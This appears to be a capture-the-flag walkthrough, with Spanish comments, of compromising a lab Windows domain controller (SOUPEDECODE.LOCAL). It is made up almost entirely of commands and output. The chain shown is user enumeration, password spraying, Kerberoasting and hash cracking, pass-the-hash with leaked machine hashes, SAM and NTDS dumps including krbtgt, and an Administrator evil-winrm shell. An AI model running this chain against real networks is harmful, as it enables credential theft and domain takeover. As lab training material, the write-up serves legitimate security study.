DC1

```
└─# nmap -sS  --open -p- -Pn -n --min-rate 5000 -vvv 192.168.137.11 -oG nma
```

```
File: ep.tmp

[*] Extracting information...

    [*] IP Address: 192.168.137.11
    [*] Open ports: 53,88,135,139,389,445,464,636,3268,3269,5985,9389,49664,49667,49677,49704
```

```
└─# nmap -sCV -p53,88,135,139,389,445,464,636,3268,3269,5985,9389,496
```

```
PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 128 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 128 Microsoft Windows Kerberos (server time: 2025-01-31 07:39:57Z)
135/tcp   open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 128 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 128
464/tcp   open  kpasswd5?     syn-ack ttl 128
636/tcp   open  tcpwrapped    syn-ack ttl 128
3268/tcp  open  ldap          syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 128
5985/tcp  open  http          syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 128 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
49677/tcp open  ncacn_http    syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
49704/tcp open  msrpc         syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 08:00:27:98:D1:F9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# crackmapexec smb 192.168.137.11
SMB         192.168.137.11  445    DC01            [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True)
(SMBv1:False)
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# smbclient -L 192.168.137.11 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backup          Disk
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        SYSVOL          Disk      Logon server share
        Users           Disk
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# ldapsearch -x -H ldap://192.168.137.11 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingcontexts: DC=SOUPEDECODE,DC=LOCAL
namingcontexts: CN=Configuration,DC=SOUPEDECODE,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=SOUPEDECODE,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=SOUPEDECODE,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=SOUPEDECODE,DC=LOCAL

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# kerbrute userenum --dc 192.168.137.11 -d soupedecode.local /usr/share/seclists/Usernames/Names/names.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 01/31/25 - Ronnie Flathers @ropnop

2025/01/31 01:10:34 >  Using KDC(s):
2025/01/31 01:10:34 >   192.168.137.11:88

2025/01/31 01:10:34 >  [+] VALID USERNAME:       admin@soupedecode.local
2025/01/31 01:10:38 >  [+] VALID USERNAME:       charlie@soupedecode.local
2025/01/31 01:10:55 >  Done! Tested 10177 usernames (2 valid) in 20.525 seconds
```

de este falso positivo voy a filtrar por los usuarios `cat users.txt | awk '{print $6}' | sed 's/.*\\//' > dictusers.txt`

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# crackmapexec smb 192.168.137.11 -u 'guest' -p '' --rid-brute > users.txt
```

vamos a ver si no es falso positivo

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# crackmapexec smb 192.168.137.11 -u dictusers.txt -p dictusers.txt --no-bruteforce
SMB         192.168.137.11  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True
(SMBv1:False)
SMB         192.168.137.11  445    DC01             [+] SOUPEDECODE.LOCAL\ybob317:ybob317

┌──(root💀miguel)-[/home/miguel/Work]
```

perfecto

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# smbmap -H 192.168.137.11 -u 'ybob317' -p 'ybob317' -r Users

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(| _     \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                    https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 192.168.137.11:445      Name: soupedecode.local         Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        backup                                                  NO ACCESS
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        SYSVOL                                                  READ ONLY       Logon server share
        Users                                                   READ ONLY
        ./Users
        dw--w--w--                0 Thu Jul  4 19:48:22 2024    .
        dr--r--r--                0 Fri Jan 31 06:57:25 2025    ..
        dr--r--r--                0 Thu Jul  4 19:49:01 2024    admin
        dr--r--r--                0 Sat Jun 15 16:56:40 2024    Administrator
        dr--r--r--                0 Sun Jun 16 00:49:29 2024    All Users
        dw--w--w--                0 Sat Jun 15 23:51:08 2024    Default
        dr--r--r--                0 Sun Jun 16 00:49:29 2024    Default User
        fr--r--r--              174 Sun Jun 16 00:46:32 2024    desktop.ini
        dw--w--w--                0 Sat Jun 15 14:54:32 2024    Public
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# smbclient //192.168.137.11/Users -U ybob317%ybob317
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   DR        0  Thu Jul  4 19:48:22 2024
  ..                                 DHS        0  Fri Jan 31 06:57:25 2025
  admin                                D        0  Thu Jul  4 19:49:01 2024
  Administrator                        D        0  Sat Jun 15 16:56:40 2024
  All Users                        DHSrn        0  Sat May  8 05:26:16 2021
  Default                            DHR        0  Sat Jun 15 23:51:08 2024
  Default User                     DHSrn        0  Sat May  8 05:26:16 2021
  desktop.ini                        AHS      174  Sat May  8 05:14:03 2021
  Public                              DR        0  Sat Jun 15 14:54:32 2024
  ybob317                              D        0  Mon Jun 17 14:24:32 2024

                12942591 blocks of size 4096. 10864029 blocks available
smb: \>
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# ntpdate 192.168.137.11
2025-01-31 08:04:56.498640 (-0300) +17989.663507 +/- 0.004493 192.168.137.11 s1 no-leap
CLOCK: time stepped by 17989.663507

┌──(root💀miguel)-[/home/miguel/Work]
└─# impacket-GetUserSPNs -request -dc-ip 192.168.137.11 soupedecode.local/ybob317:ybob317 -outputfile hash
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName    Name           MemberOf  PasswordLastSet             LastLogon  Delegation
----------------------  -------------  --------  --------------------------  ---------  ----------
FTP/FileServer          file_svc                 2024-06-17 14:32:23.726085  <never>
FW/ProxyServer          firewall_svc             2024-06-17 14:28:32.710125  <never>
HTTP/BackupServer       backup_svc               2024-06-17 14:28:49.476511  <never>
HTTP/WebServer          web_svc                  2024-06-17 14:29:04.569417  <never>
HTTPS/MonitoringServer  monitoring_svc           2024-06-17 14:29:18.511871  <never>


[-] CCache file is not found. Skipping...
```

File: **hash**

```
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$soupedecode.local/file_svc*$8ebf5e86bce25ec6eab4995d2e589da4$c1bfeb3524f91278329c3b4465c638b735a
efeace4989a411143f0ce7aa5c19693048e805b63aaf7dbf73b25aa50f3bc9bea6ab8ef54e46fde66c8da7da0f44c6afd1b8bb5482b8fd5fc602fb92fb98a87bc8dd6edc
eb30e92365776ffe8e600190e52cb29d8b78cfcd2bd401da65b32d15f62a183642bc51e1c42a281d00cf1a361a3528f8b5a348f9dac60a5348d44640603310 80cd2a9c3b
76225d6e560a12c2f0d3b0b10dedafff6341db7d9fc4a079bc5c5d3c840990bb7209bb4f68267ee2ec73c0dc5e543e8fe0fd32542eda050a1f347087e0aaa6ea501a19e7
3aeace7c6c5667f7e7a8f3babd6c2c9da27e8d41fac39b113a3ac93badac596976d9cdcb49565bf416f7478ce1ca41c9f101c4f7ef00b073acd2b2264237e14e9c6dc0c3
7ea22353ce41d2a9600dcd7c694368b43d340e08bd39e07c2dfbd4d789e145ee3b6629ba15230f1d49f4cbf1cd2f0a429b01fc591d43ff7024c047828809c7e9394dd56d
6b56ca9460fcb9e9e7c05d465a87fd3bb6815871f874169d81dfdbc28a5104458a76b7f5494f31e588f8e1d56c097b15381c08641fbc40bdac66c42128cba0cca4af2381
7fecc735dd1d9c5ff4bbee8188dac83c81818758bc5a6377438e7b5eaa6a6d5451db85cbf64103c8c1aebe142dfb7fd720360560e0ee749eb17ab72cda96117f56eae482
a9db9c3df44303f0728475bf9056df22acf8309247d26ebedeaf6430fdd7f62aa2579abaf9ceb012a7f671b78ef54283e96cefd8a0ca0fd75f75f75e6289bb48f6a39779
34f74987af160fbdaee90d80902bcda7b20637941105650ebd0f7950e40d27b1fa33946da52cf7698b0f1e07416479d384c4e066a18a4873341b16aa9f1c5fef968a54d6
420767b42ba38f9e37641474f8680102b7d4d4027b0b3d53452b14295a1ca972644b14b5dec30eba18727516e4f8ff0431511f15c6bb0b8a1f7039af41f82761f7992cd4
c9d62ed3a3bc3bf50aefebe420b7b31511c9d055d0c3950a1c3741e8c57d3bba0345917253afc28b17a1d33ebd0ea2bd405358d3cf7116636bcecc6bec27deda0e2b9c35
e8cc6eb6755461f425a568c89ca7bf0730e49b62209cc0f13d6e1fbc0839ce443191143e840e193f2f0f5e0a3c68900d29d638a7e0912d9764e3fcb852440f4268401ac1
4fecfaea7349657c70709e1733e25da6b6f8fd79b6c40d6a1c8e819417a5813f331ae5dc73047a16d7e75df2ab3742f94cf51f4e6a2a9d388fca845d6bb364e3fee1c487
983ae622f6fbdd5746dbc54365bfa4dfec17d4a0d3752b0fa9bfdd800df2e2d0e7413384ebb9768e7c7c419bd24a67e96921ec103b025cc26cc7c24a32899d1cedbcd990
56d4c664236cab4f515b6be2875a66340a842cbb5d231344f4192b22fd823b3bbebc295317ebe576c8ddea334362d25877d2a4740f3ed2ac504a7da899d80c21f3866f4e
f786efb5a027111e4667663
$krb5tgs$23$*firewall_svc$SOUPEDECODE.LOCAL$soupedecode.local/firewall_svc*$0690f1fb77783bb279ddc223b5b96137$f0942f284e9d7a63dec16ff636c
7542daf68bcbcdf625de3d9e36e73f8ceb8827cc08c88f0012e8245f1c50c61523f079b06d315b1c90c522914619bf5902bdeaaeb3cf1e7876c0ccefad87b47c4a4f6138
4d5793eb8f7ee6da68ea63174aedb036d180c400022049d90ea8717756a51f5bd52bf014ec8e502449c1fd95dff3385d5bcf4c0c63b326e1f979af66a141591f61a21ddb
6cda20271491f4b010f0e240daa009e0a1244ac38c103a1cba4d685be308eff7732da525b8290b87b2fc3eecd120dda665c58c79ef1bdce32a2517bf255db6df4161cb55
0fb1e566b3bdf63374392afa8694d7cbcf2c7582ac2cb088b448d9764d70ddd74ba0c555726f3e0d8f6b64105e79c85b4457baf97aaf0b1d97ad3a740aa8bee6cad519ae
bf0c693020dcd50b6cb0c347214105e5daf1fddef32534622847e70a6f344f93faa2eb03a4d8a29fff1006e1514dc7cea6e293064fc2de3b762e85333f5567a5aaae5224
47230449aac56c5282d94d221b966058e8ca96ebec4e47ca23f21a5387549f077a4130480c57c4069a5090b74e5d1e60896143f221c14db6754336e6863e9f4fdb635860
4c8435a5b29968b40a9ab0a840bdae582ce979938d4f9aa4602867a087915ab0bdea4b240779fbad0a5e53ab94949717ffe139de8bb3bf6501ed62ce3705fee089501dd1
a0f117e9d78f597f6742927526bfad714a22e091b7df78843fed22824fa50021126bcf4a1f3fa232105edcb89744a2ad856ad6cb3c30506ee0846b0a50d11874eeb1fa01
837f8ad86e85db2f8fb49c9d3ce36ab98fdd2125a94645ca01bd8b26fbb919ba6aeacd70fbedbab86c261a142e075a0e1157c6de49a2383a7a3350c54fe452a21d64e2c2
08cf9f652287a8711fc1ed076b0310c06be55e086652d78357803b366925b3e4857290f5f984f65a2a0d808bfe97503666fe3b00520e9eacc0390eeb21c965a2c420fdb0
6af12db58fcc99612c17ed7c505f685d15ebcf277a2297fc13f4fc9584e504a57517f827a5ca8f70e542e982c6b5926dcd9854d4a76570498970782422 1c55b8da421cd4
6a1562ba0d242b62dda4f8c078cb6fa9cf718bcb3561655484b17979616ff44d4de4a780d4ae560092ca8fcc86394948345eac63ff5b7626b5f4dfd1892b30e998b186f1
271211a82b19fb94c9b5a579d68abc6b11df00981ac693a9f55d6254d3cf665be41f1d6f500f4b9290375f5376b368dafba06c4cbb00795dc9a0be6bb5de979872f89a3c
c6b769f4d509c4e0275eaa5a4673231f0df78220c5df42262a36633dc3e3bb48b9c25715d384b751401bce4ba0369dc0fba21ab8e5188fedd95ef6915a077bcae74de6f2
3e4eb7ec100ac0e41498dfb4eb61e482f76762eae96c468f3e19f67929f9e8ddd3c9e32236e69abdb9a0b0310aa38eb9e7461f0182abc77e888586d51611ab18a805cf43
99b1b54dc5ca25ca552377c14ea2118
$krb5tgs$23$*backup_svc$SOUPEDECODE.LOCAL$soupedecode.local/backup_svc*$bfa48cbf0780bbf8c6ee306afb904cff$8d52c14363dbef354414f9dd35030fc
ce38cf66abfaa6991210f3439843b40052904c4c7348cf0b70beef18a3660f6404667074ccb837c849fac86a14d9a27d6e4563181f1600e8b69e51d0f26603bae30ceccd
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# john --wordlist=/usr/share/wordlists/seclists/rockyou.txt --format=krb5tgs hash
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password123!!    (?)
1g 0:00:00:31 DONE (2025-01-31 08:15) 0.03180g/s 456226p/s 2166Kc/s 2166KC/s !)(OPPQR..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(root💀miguel)-[/home/miguel/Work]
└─# crackmapexec smb 192.168.137.11 -u dictusers.txt  -p "Password123!!"

┌──(root💀miguel)-[/home/miguel/Work]
└─# crackmapexec smb 192.168.137.11 -u dictusers.txt  -p "Password123!!"

┌──(root💀miguel)-[/home/miguel/Work]
└─# crackmapexec smb 192.168.137.11 -u dictusers.txt  -p "Password123\!\!"
SMB         192.168.137.11  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True
(SMBv1:False)
SMB         192.168.137.11  445    DC01             [-] SOUPEDECODE.LOCAL\ybob317:Password123!! STATUS_LOGON_FAILURE
SMB         192.168.137.11  445    DC01             [+] SOUPEDECODE.LOCAL\file_svc:Password123!!
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# smbmap -H 192.168.137.11 -u 'file_svc' -p 'Password123!!' -r backup
```

```
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                    https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 192.168.137.11:445      Name: soupedecode.local         Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        backup                                                  READ ONLY
        ./backup
        dr--r--r--                0 Mon Jun 17 14:41:17 2024    .
        dw--w--w--                0 Mon Jun 17 14:44:56 2024    ..
        fr--r--r--              892 Mon Jun 17 14:41:23 2024    backup_extract.txt
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share
        SYSVOL                                                  READ ONLY       Logon server share
        Users                                                   NO ACCESS
[*] Closed 1 connections
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# smbmap -H 192.168.137.11 -u 'file_svc' -p 'Password123!!' --download backup/backup_extract.txt
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# cat 192.168.137.11-backup_backup_extract.txt
```

File: 192.168.137.11-backup_backup_extract.txt

```
1  WebServer$:2119:aad3b435b51404eeaad3b435b51404ee:c47b45f5d4df5a494bd19f13e14f7902:::
2  DatabaseServer$:2120:aad3b435b51404eeaad3b435b51404ee:406b424c7b483a42458bf6f545c936f7:::
3  CitrixServer$:2122:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
4  FileServer$:2065:aad3b435b51404eeaad3b435b51404ee:e41da7e79a4c76dbd9cf79d1cb325559:::
5  MailServer$:2124:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
6  BackupServer$:2125:aad3b435b51404eeaad3b435b51404ee:46a4655f18def136b3bfab7b0b4e70e3:::
7  ApplicationServer$:2126:aad3b435b51404eeaad3b435b51404ee:8cd90ac6cba6dde9d8038b068c17e9f5:::
8  PrintServer$:2127:aad3b435b51404eeaad3b435b51404ee:b8a38c432ac59ed00b2a373f4f050d28:::
9  ProxyServer$:2128:aad3b435b51404eeaad3b435b51404ee:4e3f0bb3e5b6e3e662611b1a87988881:::
10 MonitoringServer$:2129:aad3b435b51404eeaad3b435b51404ee:48fc7eca9af236d7849273990f6c5117:::
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# cat extract.txt | tr ':' ' '
WebServer$ 2119 aad3b435b51404eeaad3b435b51404ee c47b45f5d4df5a494bd19f13e14f7902
DatabaseServer$ 2120 aad3b435b51404eeaad3b435b51404ee 406b424c7b483a42458bf6f545c936f7
CitrixServer$ 2122 aad3b435b51404eeaad3b435b51404ee 48fc7eca9af236d7849273990f6c5117
FileServer$ 2065 aad3b435b51404eeaad3b435b51404ee e41da7e79a4c76dbd9cf79d1cb325559
MailServer$ 2124 aad3b435b51404eeaad3b435b51404ee 46a4655f18def136b3bfab7b0b4e70e3
BackupServer$ 2125 aad3b435b51404eeaad3b435b51404ee 46a4655f18def136b3bfab7b0b4e70e3
ApplicationServer$ 2126 aad3b435b51404eeaad3b435b51404ee 8cd90ac6cba6dde9d8038b068c17e9f5
PrintServer$ 2127 aad3b435b51404eeaad3b435b51404ee b8a38c432ac59ed00b2a373f4f050d28
ProxyServer$ 2128 aad3b435b51404eeaad3b435b51404ee 4e3f0bb3e5b6e3e662611b1a87988881
MonitoringServer$ 2129 aad3b435b51404eeaad3b435b51404ee 48fc7eca9af236d7849273990f6c5117

┌──(root💀miguel)-[/home/miguel/Work]
└─# cat extract.txt | tr ':' ' ' | awk '{print $1}'
WebServer$
DatabaseServer$
CitrixServer$
FileServer$
MailServer$
BackupServer$
ApplicationServer$
PrintServer$
ProxyServer$
MonitoringServer$
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# cat extract.txt | tr ':' ' ' | awk '{print $1}' > users

┌──(root💀miguel)-[/home/miguel/Work]
└─# cat extract.txt | tr ':' ' ' | awk '{print $4}'
c47b45f5d4df5a494bd19f13e14f7902
406b424c7b483a42458bf6f545c936f7
48fc7eca9af236d7849273990f6c5117
e41da7e79a4c76dbd9cf79d1cb325559
46a4655f18def136b3bfab7b0b4e70e3
46a4655f18def136b3bfab7b0b4e70e3
8cd90ac6cba6dde9d8038b068c17e9f5
b8a38c432ac59ed00b2a373f4f050d28
4e3f0bb3e5b6e3e662611b1a87988881
48fc7eca9af236d7849273990f6c5117

┌──(root💀miguel)-[/home/miguel/Work]
└─# cat extract.txt | tr ':' ' ' | awk '{print $4}' > hashes
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# netexec winrm 192.168.137.11 -u users -H hashes --no-bruteforce
WINRM       192.168.137.11  5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.137.11  5985   DC01             [-] SOUPEDECODE.LOCAL\WebServer$:c47b45f5d4df5a494bd19f13e14f7902
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.137.11  5985   DC01             [-] SOUPEDECODE.LOCAL\DatabaseServer$:406b424c7b483a42458bf6f545c936f7
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.137.11  5985   DC01             [-] SOUPEDECODE.LOCAL\CitrixServer$:48fc7eca9af236d7849273990f6c5117
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.137.11  5985   DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# netexec smb 192.168.137.11 -u 'FileServer$' -H 'e41da7e79a4c76dbd9cf79d1cb325559' --sam
SMB         192.168.137.11  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True)
(SMBv1:False)
SMB         192.168.137.11  445    DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
SMB         192.168.137.11  445    DC01             [*] Dumping SAM hashes
SMB         192.168.137.11  445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
SMB         192.168.137.11  445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.137.11  445    DC01             DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[08:54:47] ERROR    SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.       secretsdump.py:143
SMB         192.168.137.11  445    DC01             [+] Added 3 SAM hashes to the database
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# crackmapexec smb 192.168.137.11 -u 'FileServer$' -H 'e41da7e79a4c76dbd9cf79d1cb325559' --ntds
SMB         192.168.137.11  445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True)
(SMBv1:False)
SMB         192.168.137.11  445    DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
SMB         192.168.137.11  445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         192.168.137.11  445    DC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d40c3a9a98889f5cbb778b0db54a2f:::
SMB         192.168.137.11  445    DC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         192.168.137.11  445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
SMB         192.168.137.11  445    DC01             soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b1
```

```
┌──(root💀miguel)-[/home/miguel/Work]
└─# evil-winrm -i 192.168.137.11 -u 'Administrator' -H '88d40c3a9a98889f5cbb778b0db54a2f'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
soupedecode\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         6/17/2024  10:41 AM                backup
-a----         6/17/2024  10:44 AM             32 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
a9564ebc3289b7a14551baf8ad5ec60a
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cd ../../
*Evil-WinRM* PS C:\Users> dir


    Directory: C:\Users


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          7/4/2024   3:49 PM                admin
d-----         6/15/2024  12:56 PM                Administrator
d-----         1/31/2025   3:46 AM                FileServer$
d-r---         6/15/2024  10:54 AM                Public
d-----         6/17/2024  10:24 AM                ybob317


*Evil-WinRM* PS C:\Users> type ybob317/Desktop/user.txt
6bab1f09a7403980bfeb4c2b412be47b
*Evil-WinRM* PS C:\Users>
```